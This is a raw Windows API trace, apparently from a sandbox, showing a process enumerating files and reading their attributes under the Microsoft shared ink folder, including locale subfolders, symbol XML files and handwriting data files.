	[0243.715] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1
	[0243.715] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.715] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0243.715] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.715] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b6)) returned 1
	[0243.716] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.716] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x325)) returned 1
	[0243.716] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.716] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeef)) returned 1
	[0243.721] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0243.721] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f)) returned 1
	[0243.721] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.721] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.722] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0243.722] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.722] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.722] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.722] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0243.723] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.723] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600)) returned 1
	[0243.723] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.723] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.724] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0243.724] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.724] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.724] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.724] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0243.725] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.725] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1
	[0243.733] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.733] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.734] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0243.734] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.736] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.736] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.736] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0243.736] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.737] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1
	[0243.737] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.737] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620)) returned 1
	[0243.740] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.740] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0)) returned 1
	[0243.741] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.741] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe38781cd, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe38781cd, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10cb30)) returned 1
	[0243.741] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.741] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb28b2edf, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb28b2edf, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2662f0)) returned 1
	[0243.749] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.749] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb281a570, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb281a570, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x339380)) returned 1
	[0243.749] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.749] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x972)) returned 1
	[0243.756] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.756] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa20)) returned 1
	[0243.756] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.756] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99e)) returned 1
	[0243.757] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.757] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x984)) returned 1
	[0243.757] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
